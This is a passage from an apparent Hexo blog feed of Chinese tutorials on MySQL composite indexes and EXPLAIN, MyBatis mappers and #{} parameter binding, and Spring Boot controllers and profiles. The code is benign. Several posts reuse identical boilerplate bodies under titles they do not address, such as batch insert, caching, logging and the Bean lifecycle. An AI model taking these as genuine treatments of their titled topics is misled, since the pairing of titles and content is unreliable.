        <content type="html"><![CDATA[<h1 id="MySQL-索引设计的几个核心原则"><a href="#MySQL-索引设计的几个核心原则" class="headerlink" title="MySQL 索引设计的几个核心原则"></a>MySQL 索引设计的几个核心原则</h1><p>MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型</p></li><li><p>SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN</p></li><li><p>事务隔离级别的选择：根据业务需求选择合适的级别</p></li><li><p>常见的锁问题：行锁、表锁、死锁的处理</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MyBatis 批量插入和性能优化</title>
      <link href="//mybatis-pi-liang-cha-ru-he-xing-neng-you-hua/"/>
      <url>//mybatis-pi-liang-cha-ru-he-xing-neng-you-hua/</url>
      
        <content type="html"><![CDATA[<h1 id="MyBatis-批量插入和性能优化"><a href="#MyBatis-批量插入和性能优化" class="headerlink" title="MyBatis 批量插入和性能优化"></a>MyBatis 批量插入和性能优化</h1><p>MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。</p><h2 id="一个-Mapper-示例"><a href="#一个-Mapper-示例" class="headerlink" title="一个 Mapper 示例"></a>一个 Mapper 示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">UserMapper</span> &#123;</span><br><span class="line">    User <span class="title function_">selectById</span><span class="params">(<span class="meta">@Param(&quot;id&quot;)</span> Long id)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>对应 XML：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;selectById&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email</span><br><span class="line">  from user</span><br><span class="line">  where id = #&#123;id&#125;</span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p>注意这里用的是 <code>#{id}</code>，它会走预编译参数。不要把用户输入直接用 <code>${id}</code> 拼进 SQL。</p><h2 id="动态-SQL-的写法"><a href="#动态-SQL-的写法" class="headerlink" title="动态 SQL 的写法"></a>动态 SQL 的写法</h2><p>查询条件可选时，可以用 <code>if</code>：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;list&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email from user</span><br><span class="line">  <span class="tag">&lt;<span class="name">where</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;username != null and username != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">      and username = #&#123;username&#125;</span><br><span class="line">    <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">where</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p><code>where</code> 标签会自动处理多余的 and，避免拼接错误。</p><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>动态 SQL 的常用标签：if、where、choose、foreach</p></li><li><p>一级缓存和二级缓存的区别及使用场景</p></li><li><p>参数处理：#{} 和 ${} 的区别，防止 SQL 注入</p></li><li><p>批量操作的优化：使用 foreach 或 ExecutorType.BATCH</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> MyBatis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> MyBatis </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MyBatis 动态 SQL 的正确写法</title>
      <link href="//mybatis-dong-tai-sql-de-zheng-que-xie-fa/"/>
      <url>//mybatis-dong-tai-sql-de-zheng-que-xie-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="MyBatis-动态-SQL-的正确写法"><a href="#MyBatis-动态-SQL-的正确写法" class="headerlink" title="MyBatis 动态 SQL 的正确写法"></a>MyBatis 动态 SQL 的正确写法</h1><p>MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。</p><h2 id="一个-Mapper-示例"><a href="#一个-Mapper-示例" class="headerlink" title="一个 Mapper 示例"></a>一个 Mapper 示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">UserMapper</span> &#123;</span><br><span class="line">    User <span class="title function_">selectById</span><span class="params">(<span class="meta">@Param(&quot;id&quot;)</span> Long id)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>对应 XML：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;selectById&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email</span><br><span class="line">  from user</span><br><span class="line">  where id = #&#123;id&#125;</span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p>注意这里用的是 <code>#{id}</code>，它会走预编译参数。不要把用户输入直接用 <code>${id}</code> 拼进 SQL。</p><h2 id="动态-SQL-的写法"><a href="#动态-SQL-的写法" class="headerlink" title="动态 SQL 的写法"></a>动态 SQL 的写法</h2><p>查询条件可选时，可以用 <code>if</code>：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;list&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email from user</span><br><span class="line">  <span class="tag">&lt;<span class="name">where</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;username != null and username != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">      and username = #&#123;username&#125;</span><br><span class="line">    <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">where</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p><code>where</code> 标签会自动处理多余的 and，避免拼接错误。</p><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>动态 SQL 的常用标签：if、where、choose、foreach</p></li><li><p>一级缓存和二级缓存的区别及使用场景</p></li><li><p>参数处理：#{} 和 ${} 的区别，防止 SQL 注入</p></li><li><p>批量操作的优化：使用 foreach 或 ExecutorType.BATCH</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> MyBatis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> MyBatis </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MyBatis 一级缓存和二级缓存怎么理解</title>
      <link href="//mybatis-yi-ji-huan-cun-he-er-ji-huan-cun-zen-me-li-jie/"/>
      <url>//mybatis-yi-ji-huan-cun-he-er-ji-huan-cun-zen-me-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="MyBatis-一级缓存和二级缓存怎么理解"><a href="#MyBatis-一级缓存和二级缓存怎么理解" class="headerlink" title="MyBatis 一级缓存和二级缓存怎么理解"></a>MyBatis 一级缓存和二级缓存怎么理解</h1><p>MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。</p><h2 id="一个-Mapper-示例"><a href="#一个-Mapper-示例" class="headerlink" title="一个 Mapper 示例"></a>一个 Mapper 示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">UserMapper</span> &#123;</span><br><span class="line">    User <span class="title function_">selectById</span><span class="params">(<span class="meta">@Param(&quot;id&quot;)</span> Long id)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>对应 XML：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;selectById&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email</span><br><span class="line">  from user</span><br><span class="line">  where id = #&#123;id&#125;</span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p>注意这里用的是 <code>#{id}</code>，它会走预编译参数。不要把用户输入直接用 <code>${id}</code> 拼进 SQL。</p><h2 id="动态-SQL-的写法"><a href="#动态-SQL-的写法" class="headerlink" title="动态 SQL 的写法"></a>动态 SQL 的写法</h2><p>查询条件可选时，可以用 <code>if</code>：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;list&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email from user</span><br><span class="line">  <span class="tag">&lt;<span class="name">where</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;username != null and username != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">      and username = #&#123;username&#125;</span><br><span class="line">    <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">where</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p><code>where</code> 标签会自动处理多余的 and，避免拼接错误。</p><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>动态 SQL 的常用标签：if、where、choose、foreach</p></li><li><p>一级缓存和二级缓存的区别及使用场景</p></li><li><p>参数处理：#{} 和 ${} 的区别，防止 SQL 注入</p></li><li><p>批量操作的优化：使用 foreach 或 ExecutorType.BATCH</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> MyBatis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> MyBatis </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring Boot 日志配置和链路排查</title>
      <link href="//spring-boot-ri-zhi-pei-zhi-he-lian-lu-pai-cha/"/>
      <url>//spring-boot-ri-zhi-pei-zhi-he-lian-lu-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-Boot-日志配置和链路排查"><a href="#Spring-Boot-日志配置和链路排查" class="headerlink" title="Spring Boot 日志配置和链路排查"></a>Spring Boot 日志配置和链路排查</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring Boot 参数校验和返回值封装</title>
      <link href="//spring-boot-can-shu-xiao-yan-he-fan-hui-zhi-feng-zhuang/"/>
      <url>//spring-boot-can-shu-xiao-yan-he-fan-hui-zhi-feng-zhuang/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-Boot-参数校验和返回值封装"><a href="#Spring-Boot-参数校验和返回值封装" class="headerlink" title="Spring Boot 参数校验和返回值封装"></a>Spring Boot 参数校验和返回值封装</h1><p>参数校验和返回值封装是接口质量的第一道防线。本文讲 Spring Boot 中的标准做法和常见问题。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring Boot 统一异常处理实践</title>
      <link href="//spring-boot-tong-yi-yi-chang-chu-li-shi-jian/"/>
      <url>//spring-boot-tong-yi-yi-chang-chu-li-shi-jian/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-Boot-统一异常处理实践"><a href="#Spring-Boot-统一异常处理实践" class="headerlink" title="Spring Boot 统一异常处理实践"></a>Spring Boot 统一异常处理实践</h1><p>Java 异常体系设计得很完整，但用好它并不简单。本文讲业务异常的设计原则。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring Boot 配置分环境的标准做法</title>
      <link href="//spring-boot-pei-zhi-fen-huan-jing-de-biao-zhun-zuo-fa/"/>
      <url>//spring-boot-pei-zhi-fen-huan-jing-de-biao-zhun-zuo-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-Boot-配置分环境的标准做法"><a href="#Spring-Boot-配置分环境的标准做法" class="headerlink" title="Spring Boot 配置分环境的标准做法"></a>Spring Boot 配置分环境的标准做法</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Bean 生命周期按步骤理解</title>
      <link href="//bean-sheng-ming-zhou-qi-an-bu-zou-li-jie/"/>
      <url>//bean-sheng-ming-zhou-qi-an-bu-zou-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="Bean-生命周期按步骤理解"><a href="#Bean-生命周期按步骤理解" class="headerlink" title="Bean 生命周期按步骤理解"></a>Bean 生命周期按步骤理解</h1><p>Spring Bean 的生命周期一直是面试和日常开发中绕不开的话题。很多人知道有几个回调方法，但对执行顺序和实际应用场景并不清楚。本文按初始化到销毁的顺序，把关键节点梳理清楚，结合实际代码说明每个阶段的作用。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span 